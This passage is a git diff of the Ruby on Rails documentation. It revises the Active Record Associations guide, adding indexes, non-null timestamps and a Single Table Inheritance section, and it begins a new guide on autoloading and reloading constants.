+      t.belongs_to :supplier, index: true
       t.string :account_number
-      t.timestamps
+      t.timestamps null: false
     end
   end
 end
@@ -165,13 +167,13 @@ class CreateCustomers < ActiveRecord::Migration
   def change
     create_table :customers do |t|
       t.string :name
-      t.timestamps
+      t.timestamps null: false
     end
 
     create_table :orders do |t|
-      t.belongs_to :customer
+      t.belongs_to :customer, index:true
       t.datetime :order_date
-      t.timestamps
+      t.timestamps null: false
     end
   end
 end
@@ -207,19 +209,19 @@ class CreateAppointments < ActiveRecord::Migration
   def change
     create_table :physicians do |t|
       t.string :name
-      t.timestamps
+      t.timestamps null: false
     end
 
     create_table :patients do |t|
       t.string :name
-      t.timestamps
+      t.timestamps null: false
     end
 
     create_table :appointments do |t|
-      t.belongs_to :physician
-      t.belongs_to :patient
+      t.belongs_to :physician, index: true
+      t.belongs_to :patient, index: true
       t.datetime :appointment_date
-      t.timestamps
+      t.timestamps null: false
     end
   end
 end
@@ -261,7 +263,10 @@ With `through: :sections` specified, Rails will now understand:
 
 ### The `has_one :through` Association
 
-A `has_one :through` association sets up a one-to-one connection with another model. This association indicates that the declaring model can be matched with one instance of another model by proceeding _through_ a third model. For example, if each supplier has one account, and each account is associated with one account history, then the customer model could look like this:
+A `has_one :through` association sets up a one-to-one connection with another model. This association indicates
+that the declaring model can be matched with one instance of another model by proceeding _through_ a third model.
+For example, if each supplier has one account, and each account is associated with one account history, then the
+supplier model could look like this:
 
 ```ruby
 class Supplier < ActiveRecord::Base
@@ -288,19 +293,19 @@ class CreateAccountHistories < ActiveRecord::Migration
   def change
     create_table :suppliers do |t|
       t.string :name
-      t.timestamps
+      t.timestamps null: false
     end
 
     create_table :accounts do |t|
-      t.belongs_to :supplier
+      t.belongs_to :supplier, index: true
       t.string :account_number
-      t.timestamps
+      t.timestamps null: false
     end
 
     create_table :account_histories do |t|
-      t.belongs_to :account
+      t.belongs_to :account, index: true
       t.integer :credit_rating
-      t.timestamps
+      t.timestamps null: false
     end
   end
 end
@@ -329,17 +334,17 @@ class CreateAssembliesAndParts < ActiveRecord::Migration
   def change
     create_table :assemblies do |t|
       t.string :name
-      t.timestamps
+      t.timestamps null: false
     end
 
     create_table :parts do |t|
       t.string :part_number
-      t.timestamps
+      t.timestamps null: false
     end
 
-    create_table :assemblies_parts do |t|
-      t.belongs_to :assembly
-      t.belongs_to :part
+    create_table :assemblies_parts, id: false do |t|
+      t.belongs_to :assembly, index: true
+      t.belongs_to :part, index: true
     end
   end
 end
@@ -368,14 +373,16 @@ class CreateSuppliers < ActiveRecord::Migration
   def change
     create_table :suppliers do |t|
       t.string  :name
-      t.timestamps
+      t.timestamps null: false
     end
 
     create_table :accounts do |t|
       t.integer :supplier_id
       t.string  :account_number
-      t.timestamps
+      t.timestamps null: false
     end
+
+    add_index :accounts, :supplier_id
   end
 end
 ```
@@ -450,8 +457,10 @@ class CreatePictures < ActiveRecord::Migration
       t.string  :name
       t.integer :imageable_id
       t.string  :imageable_type
-      t.timestamps
+      t.timestamps null: false
     end
+
+    add_index :pictures, :imageable_id
   end
 end
 ```
@@ -463,8 +472,8 @@ class CreatePictures < ActiveRecord::Migration
   def change
     create_table :pictures do |t|
       t.string :name
-      t.references :imageable, polymorphic: true
-      t.timestamps
+      t.references :imageable, polymorphic: true, index: true
+      t.timestamps null: false
     end
   end
 end
@@ -487,6 +496,19 @@ end
 
 With this setup, you can retrieve `@employee.subordinates` and `@employee.manager`.
 
+In your migrations/schema, you will add a references column to the model itself.
+
+```ruby
+class CreateEmployees < ActiveRecord::Migration
+  def change
+    create_table :employees do |t|
+      t.references :manager, index: true
+      t.timestamps null: false
+    end
+  end
+end
+```
+
 Tips, Tricks, and Warnings
 --------------------------
 
@@ -545,6 +567,8 @@ class CreateOrders < ActiveRecord::Migration
       t.string   :order_number
       t.integer  :customer_id
     end
+
+    add_index :orders, :customer_id
   end
 end
 ```
@@ -555,7 +579,7 @@ If you create an association some time after you build the underlying model, you
 
 If you create a `has_and_belongs_to_many` association, you need to explicitly create the joining table. Unless the name of the join table is explicitly specified by using the `:join_table` option, Active Record creates the name by using the lexical order of the class names. So a join between customer and order models will give the default join table name of "customers_orders" because "c" outranks "o" in lexical ordering.
 
-WARNING: The precedence between model names is calculated using the `<` operator for `String`. This means that if the strings are of different lengths, and the strings are equal when compared up to the shortest length, then the longer string is considered of higher lexical precedence than the shorter one. For example, one would expect the tables "paper\_boxes" and "papers" to generate a join table name of "papers\_paper\_boxes" because of the length of the name "paper\_boxes", but it in fact generates a join table name of "paper\_boxes\_papers" (because the underscore '\_' is lexicographically _less_ than 's' in common encodings).
+WARNING: The precedence between model names is calculated using the `<` operator for `String`. This means that if the strings are of different lengths, and the strings are equal when compared up to the shortest length, then the longer string is considered of higher lexical precedence than the shorter one. For example, one would expect the tables "paper_boxes" and "papers" to generate a join table name of "papers_paper_boxes" because of the length of the name "paper_boxes", but it in fact generates a join table name of "paper_boxes_papers" (because the underscore '_' is lexicographically _less_ than 's' in common encodings).
 
 Whatever the name, you must manually generate the join table with an appropriate migration. For example, consider these associations:
 
@@ -578,6 +602,9 @@ class CreateAssembliesPartsJoinTable < ActiveRecord::Migration
       t.integer :assembly_id
       t.integer :part_id
     end
+
+    add_index :assemblies_parts, :assembly_id
+    add_index :assemblies_parts, :part_id
   end
 end
 ```
@@ -715,7 +742,7 @@ The `belongs_to` association creates a one-to-one match with another model. In d
 
 #### Methods Added by `belongs_to`
 
-When you declare a `belongs_to` association, the declaring class automatically gains four methods related to the association:
+When you declare a `belongs_to` association, the declaring class automatically gains five methods related to the association:
 
 * `association(force_reload = false)`
 * `association=(associate)`
@@ -731,7 +758,7 @@ class Order < ActiveRecord::Base
 end
 ```
 
-Each instance of the order model will have these methods:
+Each instance of the `Order` model will have these methods:
 
 ```ruby
 customer
@@ -854,15 +881,21 @@ class Order < ActiveRecord::Base
   belongs_to :customer, counter_cache: :count_of_orders
 end
 class Customer < ActiveRecord::Base
-  has_many :orders
+  has_many :orders, counter_cache: :count_of_orders
 end
 ```
 
+NOTE: You only need to specify the :counter_cache option on the "has_many side" of the association when using a custom name for the counter cache.
+
 Counter cache columns are added to the containing model's list of read-only attributes through `attr_readonly`.
 
 ##### `:dependent`
+If you set the `:dependent` option to:
 
-If you set the `:dependent` option to `:destroy`, then deleting this object will call the `destroy` method on the associated object to delete that object. If you set the `:dependent` option to `:delete`, then deleting this object will delete the associated object _without_ calling its `destroy` method. If you set the `:dependent` option to `:restrict`, then attempting to delete this object will result in a `ActiveRecord::DeleteRestrictionError` if there are any associated objects.
+* `:destroy`, when the object is destroyed, `destroy` will be called on its
+associated objects.
+* `:delete`, when the object is destroyed, all its associated objects will be
+deleted directly from the database without calling their `destroy` method.
 
 WARNING: You should not specify this option on a `belongs_to` association that is connected with a `has_many` association on the other class. Doing so can lead to orphaned records in your database.
 
@@ -1019,7 +1052,7 @@ The `has_one` association creates a one-to-one match with another model. In data
 
 #### Methods Added by `has_one`
 
-When you declare a `has_one` association, the declaring class automatically gains four methods related to the association:
+When you declare a `has_one` association, the declaring class automatically gains five methods related to the association:
 
 * `association(force_reload = false)`
 * `association=(associate)`
@@ -1111,7 +1144,7 @@ The `has_one` association supports these options:
 
 ##### `:as`
 
-Setting the `:as` option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail <a href="#polymorphic-associations">earlier in this guide</a>.
+Setting the `:as` option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail [earlier in this guide](#polymorphic-associations).
 
 ##### `:autosave`
 
@@ -1137,10 +1170,10 @@ Controls what happens to the associated object when its owner is destroyed:
 * `:restrict_with_exception` causes an exception to be raised if there is an associated record
 * `:restrict_with_error` causes an error to be added to the owner if there is an associated object
 
-It's necessary not to set or leave `:nullify` option for those associations 
-that have `NOT NULL` database constraints. If you don't set `dependent` to 
-destroy such associations you won't be able to change the associated object 
-because initial associated object foreign key will be set to unallowed `NULL` 
+It's necessary not to set or leave `:nullify` option for those associations
+that have `NOT NULL` database constraints. If you don't set `dependent` to
+destroy such associations you won't be able to change the associated object
+because initial associated object foreign key will be set to unallowed `NULL`
 value.
 
 ##### `:foreign_key`
@@ -1183,7 +1216,7 @@ The `:source_type` option specifies the source association type for a `has_one :
 
 ##### `:through`
 
-The `:through` option specifies a join model through which to perform the query. `has_one :through` associations were discussed in detail <a href="#the-has-one-through-association">earlier in this guide</a>.
+The `:through` option specifies a join model through which to perform the query. `has_one :through` associations were discussed in detail [earlier in this guide](#the-has-one-through-association).
 
 ##### `:validate`
 
@@ -1286,15 +1319,15 @@ The `has_many` association creates a one-to-many relationship with another model
 
 #### Methods Added by `has_many`
 
-When you declare a `has_many` association, the declaring class automatically gains 13 methods related to the association:
+When you declare a `has_many` association, the declaring class automatically gains 16 methods related to the association:
 
 * `collection(force_reload = false)`
 * `collection<<(object, ...)`
 * `collection.delete(object, ...)`
 * `collection.destroy(object, ...)`
-* `collection=objects`
+* `collection=(objects)`
 * `collection_singular_ids`
-* `collection_singular_ids=ids`
+* `collection_singular_ids=(ids)`
 * `collection.clear`
 * `collection.empty?`
 * `collection.size`
@@ -1313,16 +1346,16 @@ class Customer < ActiveRecord::Base
 end
 ```
 
-Each instance of the customer model will have these methods:
+Each instance of the `Customer` model will have these methods:
 
 ```ruby
 orders(force_reload = false)
 orders<<(object, ...)
 orders.delete(object, ...)
 orders.destroy(object, ...)
-orders=objects
+orders=(objects)
 order_ids
-order_ids=ids
+order_ids=(ids)
 orders.clear
 orders.empty?
 orders.size
@@ -1370,7 +1403,7 @@ The `collection.destroy` method removes one or more objects from the collection
 
 WARNING: Objects will _always_ be removed from the database, ignoring the `:dependent` option.
 
-##### `collection=objects`
+##### `collection=(objects)`
 
 The `collection=` method makes the collection contain only the supplied objects, by adding and deleting as appropriate.
 
@@ -1382,7 +1415,7 @@ The `collection_singular_ids` method returns an array of the ids of the objects
 @order_ids = @customer.order_ids
 ```
 
-##### `collection_singular_ids=ids`
+##### `collection_singular_ids=(ids)`
 
 The `collection_singular_ids=` method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.
 
@@ -1466,6 +1499,7 @@ The `has_many` association supports these options:
 * `:as`
 * `:autosave`
 * `:class_name`
+* `:counter_cache`
 * `:dependent`
 * `:foreign_key`
 * `:inverse_of`
@@ -1477,7 +1511,7 @@ The `has_many` association supports these options:
 
 ##### `:as`
 
-Setting the `:as` option indicates that this is a polymorphic association, as discussed <a href="#polymorphic-associations">earlier in this guide</a>.
+Setting the `:as` option indicates that this is a polymorphic association, as discussed [earlier in this guide](#polymorphic-associations).
 
 ##### `:autosave`
 
@@ -1493,6 +1527,10 @@ class Customer < ActiveRecord::Base
 end
 ```
 
+##### `:counter_cache`
+
+This option can be used to configure a custom named `:counter_cache`. You only need this option when you customized the name of your `:counter_cache` on the [belongs_to association](#options-for-belongs-to).
+
 ##### `:dependent`
 
 Controls what happens to the associated objects when their owner is destroyed:
@@ -1503,8 +1541,6 @@ Controls what happens to the associated objects when their owner is destroyed:
 * `:restrict_with_exception` causes an exception to be raised if there are any associated records
 * `:restrict_with_error` causes an error to be added to the owner if there are any associated objects
 
-NOTE: This option is ignored when you use the `:through` option on the association.
-
 ##### `:foreign_key`
 
 By convention, Rails assumes that the column used to hold the foreign key on the other model is the name of this model with the suffix `_id` added. The `:foreign_key` option lets you set the name of the foreign key directly:
@@ -1559,7 +1595,7 @@ The `:source_type` option specifies the source association type for a `has_many
 
 ##### `:through`
 
-The `:through` option specifies a join model through which to perform the query. `has_many :through` associations provide a way to implement many-to-many relationships, as discussed <a href="#the-has-many-through-association">earlier in this guide</a>.
+The `:through` option specifies a join model through which to perform the query. `has_many :through` associations provide a way to implement many-to-many relationships, as discussed [earlier in this guide](#the-has-many-through-association).
 
 ##### `:validate`
 
@@ -1612,7 +1648,7 @@ If you use a hash-style `where` option, then record creation via this associatio
 
 ##### `extending`
 
-The `extending` method specifies a named module to extend the association proxy. Association extensions are discussed in detail <a href="#association-extensions">later in this guide</a>.
+The `extending` method specifies a named module to extend the association proxy. Association extensions are discussed in detail [later in this guide](#association-extensions).
 
 ##### `group`
 
@@ -1705,58 +1741,58 @@ mostly useful together with the `:through` option.
 ```ruby
 class Person < ActiveRecord::Base
   has_many :readings
-  has_many :posts, through: :readings
+  has_many :articles, through: :readings
 end
 
 person = Person.create(name: 'John')
-post   = Post.create(name: 'a1')
-person.posts << post
-person.posts << post
-person.posts.inspect # => [#<Post id: 5, name: "a1">, #<Post id: 5, name: "a1">]
-Reading.all.inspect  # => [#<Reading id: 12, person_id: 5, post_id: 5>, #<Reading id: 13, person_id: 5, post_id: 5>]
+article   = Article.create(name: 'a1')
+person.articles << article
+person.articles << article
+person.articles.inspect # => [#<Article id: 5, name: "a1">, #<Article id: 5, name: "a1">]
+Reading.all.inspect  # => [#<Reading id: 12, person_id: 5, article_id: 5>, #<Reading id: 13, person_id: 5, article_id: 5>]
 ```
 
-In the above case there are two readings and `person.posts` brings out both of
-them even though these records are pointing to the same post.
+In the above case there are two readings and `person.articles` brings out both of
+them even though these records are pointing to the same article.
 
 Now let's set `distinct`:
 
 ```ruby
 class Person
   has_many :readings
-  has_many :posts, -> { distinct }, through: :readings
+  has_many :articles, -> { distinct }, through: :readings
 end
 
 person = Person.create(name: 'Honda')
-post   = Post.create(name: 'a1')
-person.posts << post
-person.posts << post
-person.posts.inspect # => [#<Post id: 7, name: "a1">]
-Reading.all.inspect  # => [#<Reading id: 16, person_id: 7, post_id: 7>, #<Reading id: 17, person_id: 7, post_id: 7>]
+article   = Article.create(name: 'a1')
+person.articles << article
+person.articles << article
+person.articles.inspect # => [#<Article id: 7, name: "a1">]
+Reading.all.inspect  # => [#<Reading id: 16, person_id: 7, article_id: 7>, #<Reading id: 17, person_id: 7, article_id: 7>]
 ```
 
-In the above case there are still two readings. However `person.posts` shows
-only one post because the collection loads only unique records.
+In the above case there are still two readings. However `person.articles` shows
+only one article because the collection loads only unique records.
 
 If you want to make sure that, upon insertion, all of the records in the
 persisted association are distinct (so that you can be sure that when you
 inspect the association that you will never find duplicate records), you should
 add a unique index on the table itself. For example, if you have a table named
-`person_posts` and you want to make sure all the posts are unique, you could
+`person_articles` and you want to make sure all the articles are unique, you could
 add the following in a migration:
 
 ```ruby
-add_index :person_posts, :post, unique: true
+add_index :person_articles, :article, unique: true
 ```
 
 Note that checking for uniqueness using something like `include?` is subject
 to race conditions. Do not attempt to use `include?` to enforce distinctness
-in an association. For instance, using the post example from above, the
+in an association. For instance, using the article example from above, the
 following code would be racy because multiple users could be attempting this
 at the same time:
 
 ```ruby
-person.posts << post unless person.posts.include?(post)
+person.articles << article unless person.articles.include?(article)
 ```
 
 #### When are Objects Saved?
@@ -1775,15 +1811,15 @@ The `has_and_belongs_to_many` association creates a many-to-many relationship wi
 
 #### Methods Added by `has_and_belongs_to_many`
 
-When you declare a `has_and_belongs_to_many` association, the declaring class automatically gains 13 methods related to the association:
+When you declare a `has_and_belongs_to_many` association, the declaring class automatically gains 16 methods related to the association:
 
 * `collection(force_reload = false)`
 * `collection<<(object, ...)`
 * `collection.delete(object, ...)`
 * `collection.destroy(object, ...)`
-* `collection=objects`
+* `collection=(objects)`
 * `collection_singular_ids`
-* `collection_singular_ids=ids`
+* `collection_singular_ids=(ids)`
 * `collection.clear`
 * `collection.empty?`
 * `collection.size`
@@ -1802,16 +1838,16 @@ class Part < ActiveRecord::Base
 end
 ```
 
-Each instance of the part model will have these methods:
+Each instance of the `Part` model will have these methods:
 
 ```ruby
 assemblies(force_reload = false)
 assemblies<<(object, ...)
 assemblies.delete(object, ...)
 assemblies.destroy(object, ...)
-assemblies=objects
+assemblies=(objects)
 assembly_ids
-assembly_ids=ids
+assembly_ids=(ids)
 assemblies.clear
 assemblies.empty?
 assemblies.size
@@ -1866,7 +1902,7 @@ The `collection.destroy` method removes one or more objects from the collection
 @part.assemblies.destroy(@assembly1)
 ```
 
-##### `collection=objects`
+##### `collection=(objects)`
 
 The `collection=` method makes the collection contain only the supplied objects, by adding and deleting as appropriate.
 
@@ -1878,7 +1914,7 @@ The `collection_singular_ids` method returns an array of the ids of the objects
 @assembly_ids = @part.assembly_ids
 ```
 
-##### `collection_singular_ids=ids`
+##### `collection_singular_ids=(ids)`
 
 The `collection_singular_ids=` method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.
 
@@ -2062,7 +2098,7 @@ If you use a hash-style `where`, then record creation via this association will
 
 ##### `extending`
 
-The `extending` method specifies a named module to extend the association proxy. Association extensions are discussed in detail <a href="#association-extensions">later in this guide</a>.
+The `extending` method specifies a named module to extend the association proxy. Association extensions are discussed in detail [later in this guide](#association-extensions).
 
 ##### `group`
 
@@ -2207,3 +2243,67 @@ Extensions can refer to the internals of the association proxy using these three
 * `proxy_association.owner` returns the object that the association is a part of.
 * `proxy_association.reflection` returns the reflection object that describes the association.
 * `proxy_association.target` returns the associated object for `belongs_to` or `has_one`, or the collection of associated objects for `has_many` or `has_and_belongs_to_many`.
+
+Single Table Inheritance
+------------------------
+
+Sometimes, you may want to share fields and behavior between different models.
+Let's say we have Car, Motorcycle and Bicycle models. We will want to share
+the `color` and `price` fields and some methods for all of them, but having some
+specific behavior for each, and separated controllers too.
+
+Rails makes this quite easy. First, let's generate the base Vehicle model:
+
+```bash
+$ rails generate model vehicle type:string color:string price:decimal{10.2}
+```
+
+Did you note we are adding a "type" field? Since all models will be saved in a
+single database table, Rails will save in this column the name of the model that
+is being saved. In our example, this can be "Car", "Motorcycle" or "Bicycle."
+STI won't work without a "type" field in the table.
+
+Next, we will generate the three models that inherit from Vehicle. For this,
+we can use the `--parent=PARENT` option, which will generate a model that
+inherits from the specified parent and without equivalent migration (since the
+table already exists).
+
+For example, to generate the Car model:
+
+```bash
+$ rails generate model car --parent=Vehicle
+```
+
+The generated model will look like this:
+
+```ruby
+class Car < Vehicle
+end
+```
+
+This means that all behavior added to Vehicle is available for Car too, as
+associations, public methods, etc.
+
+Creating a car will save it in the `vehicles` table with "Car" as the `type` field:
+
+```ruby
+Car.create color: 'Red', price: 10000
+```
+
+will generate the following SQL:
+
+```sql
+INSERT INTO "vehicles" ("type", "color", "price") VALUES ("Car", "Red", 10000)
+```
+
+Querying car records will just search for vehicles that are cars:
+
+```ruby
+Car.all
+```
+
+will run a query like:
+
+```sql
+SELECT "vehicles".* FROM "vehicles" WHERE "vehicles"."type" IN ('Car')
+```
diff --git a/guides/source/autoloading_and_reloading_constants.md b/guides/source/autoloading_and_reloading_constants.md
new file mode 100644
index 0000000000..8f9125f311
--- /dev/null
+++ b/guides/source/autoloading_and_reloading_constants.md
@@ -0,0 +1,1311 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
+Autoloading and Reloading Constants
+===================================
+
+This guide documents how constant autoloading and reloading works.
+
+After reading this guide, you will know:
+
+* Key aspects of Ruby constants
+* What is `autoload_paths`
+* How constant autoloading works
+* What is `require_dependency`
+* How constant reloading works
+* Solutions to common autoloading gotchas
+
+--------------------------------------------------------------------------------
+
+
+Introduction
+------------
+
+Ruby on Rails allows applications to be written as if their code was preloaded.
+
+In a normal Ruby program classes need to load their dependencies:
+
+```ruby
+require 'application_controller'
+require 'post'
+
+class PostsController < ApplicationController
+  def index
+    @posts = Post.all
+  end
+end
+```
+
+Our Rubyist instinct quickly sees some redundancy in there: If classes were
+defined in files matching their name, couldn't their loading be automated
+somehow? We could save scanning the file for dependencies, which is brittle.
+
+Moreover, `Kernel#require` loads files once, but development is much more smooth
+if code gets refreshed when it changes without restarting the server. It would
+be nice to be able to use `Kernel#load` in development, and `Kernel#require` in
+production.
+
+Indeed, those features are provided by Ruby on Rails, where we just write
+
+```ruby
+class PostsController < ApplicationController
+  def index
+    @posts = Post.all
+  end
+end
+```
+
+This guide documents how that works.
+
+
+Constants Refresher
+-------------------
+
+While constants are trivial in most programming languages, they are a rich
+topic in Ruby.
+
+It is beyond the scope of this guide to document Ruby constants, but we are
+nevertheless going to highlight a few key topics. Truly grasping the following
+sections is instrumental to understanding constant autoloading and reloading.
+
+### Nesting
+
+Class and module definitions can be nested to create namespaces:
+
+```ruby
+module XML
+  class SAXParser
+    # (1)
+  end
+end
+```
+
+The *nesting* at any given place is the collection of enclosing nested class and
+module objects outwards. The nesting at any given place can be inspected with
+`Module.nesting`. For example, in the previous example, the nesting at
+(1) is
+
+```ruby
+[XML::SAXParser, XML]
+```
+
+It is important to understand that the nesting is composed of class and module
+*objects*, it has nothing to do with the constants used to access them, and is
+also unrelated to their names.
+
+For instance, while this definition is similar to the previous one:
+
+```ruby
+class XML::SAXParser
+  # (2)
+end
+```
+
+the nesting in (2) is different:
+
+```ruby
+[XML::SAXParser]
+```
+
+`XML` does not belong to it.
+
+We can see in this example that the name of a class or module that belongs to a
+certain nesting does not necessarily correlate with the namespaces at the spot.
+
+Even more, they are totally independent, take for instance
+
+```ruby
+module X
+  module Y
+  end
+end
+
+module A
+  module B
+  end
+end
+
+module X::Y
+  module A::B
+    # (3)
+  end
+end
+```
+
+The nesting in (3) consists of two module objects:
+
+```ruby
+[A::B, X::Y]
+```
+
+So, it not only doesn't end in `A`, which does not even belong to the nesting,
+but it also contains `X::Y`, which is independent from `A::B`.
+
+The nesting is an internal stack maintained by the interpreter, and it gets
+modified according to these rules:
+
+* The class object following a `class` keyword gets pushed when its body is
+executed, and popped after it.
+
+* The module object following a `module` keyword gets pushed when its body is
+executed, and popped after it.
+
+* A singleton class opened with `class << object` gets pushed, and popped later.
+
+* When `instance_eval` is called using a string argument,
+the singleton class of the receiver is pushed to the nesting of the eval'ed
+code. When `class_eval` or `module_eval` is called using a string argument,
+the receiver is pushed to the nesting of the eval'ed code.
+
+* The nesting at the top-level of code interpreted by `Kernel#load` is empty
+unless the `load` call receives a true value as second argument, in which case
+a newly created anonymous module is pushed by Ruby.
+
+It is interesting to observe that blocks do not modify the stack. In particular
+the blocks that may be passed to `Class.new` and `Module.new` do not get the
+class or module being defined pushed to their nesting. That's one of the
+differences between defining classes and modules in one way or another.
+
+### Class and Module Definitions are Constant Assignments
+
+Let's suppose the following snippet creates a class (rather than reopening it):
+
+```ruby
+class C
+end
+```
+
+Ruby creates a constant `C` in `Object` and stores in that constant a class
+object. The name of the class instance is "C", a string, named after the
+constant.
+
+That is,
+
+```ruby
+class Project < ActiveRecord::Base
+end
+```
+
+performs a constant assignment equivalent to
+
+```ruby
+Project = Class.new(ActiveRecord::Base)
+```
+
+including setting the name of the class as a side-effect:
+
+```ruby
+Project.name # => "Project"
+```
+
+Constant assignment has a special rule to make that happen: if the object
+being assigned is an anonymous class or module, Ruby sets the object's name to
+the name of the constant.
+
+INFO. From then on, what happens to the constant and the instance does not
+matter. For example, the constant could be deleted, the class object could be
+assigned to a different constant, be stored in no constant anymore, etc. Once
+the name is set, it doesn't change.
+
+Similarly, module creation using the `module` keyword as in
+
+```ruby
+module Admin
+end
+```
+
+performs a constant assignment equivalent to
+
+```ruby
+Admin = Module.new
+```
+
+including setting the name as a side-effect:
+
+```ruby
+Admin.name # => "Admin"
+```
+
+WARNING. The execution context of a block passed to `Class.new` or `Module.new`
+is not entirely equivalent to the one of the body of the definitions using the
+`class` and `module` keywords. But both idioms result in the same constant
+assignment.
+
+Thus, when one informally says "the `String` class", that really means: the
+class object stored in the constant called "String" in the class object stored
+in the `Object` constant. `String` is otherwise an ordinary Ruby constant and
+everything related to constants such as resolution algorithms applies to it.
+
+Likewise, in the controller
+
+```ruby
+class PostsController < ApplicationController
+  def index
+    @posts = Post.all
+  end
+end
+```
+
+`Post` is not syntax for a class. Rather, `Post` is a regular Ruby constant. If
+all is good, the constant is evaluated to an object that responds to `all`.
+
+That is why we talk about *constant* autoloading, Rails has the ability to
+load constants on the fly.
+
+### Constants are Stored in Modules
+
+Constants belong to modules in a very literal sense. Classes and modules have
+a constant table; think of it as a hash table.
+
+Let's analyze an example to really understand what that means. While common
+abuses of language like "the `String` class" are convenient, the exposition is
+going to be precise here for didactic purposes.
+
+Let's consider the following module definition:
+
+```ruby
+module Colors
+  RED = '0xff0000'
+end
+```
+
+First, when the `module` keyword is processed, the interpreter creates a new
+entry in the constant table of the class object stored in the `Object` constant.
+Said entry associates the name "Colors" to a newly created module object.
+Furthermore, the interpreter sets the name of the new module object to be the
+string "Colors".
+
+Later, when the body of the module definition is interpreted, a new entry is
+created in the constant table of the module object stored in the `Colors`
+constant. That entry maps the name "RED" to the string "0xff0000".
+
+In particular, `Colors::RED` is totally unrelated to any other `RED` constant
+that may live in any other class or module object. If there were any, they
+would have separate entries in their respective constant tables.
+
+Pay special attention in the previous paragraphs to the distinction between
+class and module objects, constant names, and value objects associated to them
+in constant tables.
+
+### Resolution Algorithms
+
+#### Resolution Algorithm for Relative Constants
+
+At any given place in the code, let's define *cref* to be the first element of
+the nesting if it is not empty, or `Object` otherwise.
+
+Without getting too much into the details, the resolution algorithm for relative
+constant references goes like this:
+
+1. If the nesting is not empty the constant is looked up in its elements and in
+order. The ancestors of those elements are ignored.
+
+2. If not found, then the algorithm walks up the ancestor chain of the cref.
+
+3. If not found, `const_missing` is invoked on the cref. The default
+implementation of `const_missing` raises `NameError`, but it can be overridden.
+
+Rails autoloading **does not emulate this algorithm**, but its starting point is
+the name of the constant to be autoloaded, and the cref. See more in [Relative
+References](#autoloading-algorithms-relative-references).
+
+#### Resolution Algorithm for Qualified Constants
+
+Qualified constants look like this:
+
+```ruby
+Billing::Invoice
+```
+
+`Billing::Invoice` is composed of two constants: `Billing` is relative and is
+resolved using the algorithm of the previous section.
+
+INFO. Leading colons would make the first segment absolute rather than
+relative: `::Billing::Invoice`. That would force `Billing` to be looked up
+only as a top-level constant.
+
+`Invoice` on the other hand is qualified by `Billing` and we are going to see
+its resolution next. Let's define *parent* to be that qualifying class or module
+object, that is, `Billing` in the example above. The algorithm for qualified
+constants goes like this:
+
+1. The constant is looked up in the parent and its ancestors.
+
+2. If the lookup fails, `const_missing` is invoked in the parent. The default
+implementation of `const_missing` raises `NameError`, but it can be overridden.
+
+As you see, this algorithm is simpler than the one for relative constants. In
+particular, the nesting plays no role here, and modules are not special-cased,
+if neither they nor their ancestors have the constants, `Object` is **not**
+checked.
+
+Rails autoloading **does not emulate this algorithm**, but its starting point is
+the name of the constant to be autoloaded, and the parent. See more in
+[Qualified References](#autoloading-algorithms-qualified-references).
+
+
+Vocabulary
+----------
+
+### Parent Namespaces
+
+Given a string with a constant path we define its *parent namespace* to be the
+string that results from removing its rightmost segment.
+
+For example, the parent namespace of the string "A::B::C" is the string "A::B",
+the parent namespace of "A::B" is "A", and the parent namespace of "A" is "".
+
+The interpretation of a parent namespace when thinking about classes and modules
+is tricky though. Let's consider a module M named "A::B":
+
+* The parent namespace, "A", may not reflect nesting at a given spot.
+
+* The constant `A` may no longer exist, some code could have removed it from
+`Object`.
+
+* If `A` exists, the class or module that was originally in `A` may not be there
+anymore. For example, if after a constant removal there was another constant
+assignment there would generally be a different object in there.
+
+* In such case, it could even happen that the reassigned `A` held a new class or
+module called also "A"!
+
+* In the previous scenarios M would no longer be reachable through `A::B` but
+the module object itself could still be alive somewhere and its name would
+still be "A::B".
+
+The idea of a parent namespace is at the core of the autoloading algorithms
+and helps explain and understand their motivation intuitively, but as you see
+that metaphor leaks easily. Given an edge case to reason about, take always into
+account that by "parent namespace" the guide means exactly that specific string
+derivation.
+
+### Loading Mechanism
+
+Rails autoloads files with `Kernel#load` when `config.cache_classes` is false,
+the default in development mode, and with `Kernel#require` otherwise, the
+default in production mode.
+
+`Kernel#load` allows Rails to execute files more than once if [constant
+reloading](#constant-reloading) is enabled.
+
+This guide uses the word "load" freely to mean a given file is interpreted, but
+the actual mechanism can be `Kernel#load` or `Kernel#require` depending on that
+flag.
+
+
+Autoloading Availability
+------------------------
+
+Rails is always able to autoload provided its environment is in place. For
+example the `runner` command autoloads:
+
+```
+$ bin/rails runner 'p User.column_names'
+["id", "email", "created_at", "updated_at"]
+```
+
+The console autoloads, the test suite autoloads, and of course the application
+autoloads.
+
+By default, Rails eager loads the application files when it boots in production
+mode, so most of the autoloading going on in development does not happen. But
+autoloading may still be triggered during eager loading.
+
+For example, given
+
+```ruby
+class BeachHouse < House
+end
+```
+
+if `House` is still unknown when `app/models/beach_house.rb` is being eager
+loaded, Rails autoloads it.
+
+
+autoload_paths
+--------------
+
+As you probably know, when `require` gets a relative file name:
+
+```ruby
+require 'erb'
+```
+
+Ruby looks for the file in the directories listed in `$LOAD_PATH`. That is, Ruby
+iterates over all its directories and for each one of them checks whether they
+have a file called "erb.rb", or "erb.so", or "erb.o", or "erb.dll". If it finds
+any of them, the interpreter loads it and ends the search. Otherwise, it tries
+again in the next directory of the list. If the list gets exhausted, `LoadError`
+is raised.
+
+We are going to cover how constant autoloading works in more detail later, but
+the idea is that when a constant like `Post` is hit and missing, if there's a
+`post.rb` file for example in `app/models` Rails is going to find it, evaluate
+it, and have `Post` defined as a side-effect.
+
+Alright, Rails has a collection of directories similar to `$LOAD_PATH` in which
+to look up `post.rb`. That collection is called `autoload_paths` and by
+default it contains:
+
+* All subdirectories of `app` in the application and engines. For example,
+  `app/controllers`. They do not need to be the default ones, any custom
+  directories like `app/workers` belong automatically to `autoload_paths`.
+
+* Any existing second level directories called `app/*/concerns` in the
+  application and engines.
+
+* The directory `test/mailers/previews`.
+
+Also, this collection is configurable via `config.autoload_paths`. For example,
+`lib` was in the list years ago, but no longer is. An application can opt-in
+by adding this to `config/application.rb`:
+
+```ruby
+config.autoload_paths << "#{Rails.root}/lib"
+```
+`config.autoload_paths` is accessible from environment-specific configuration files, but any changes made to it outside `config/application.rb` don't have an effect.
+
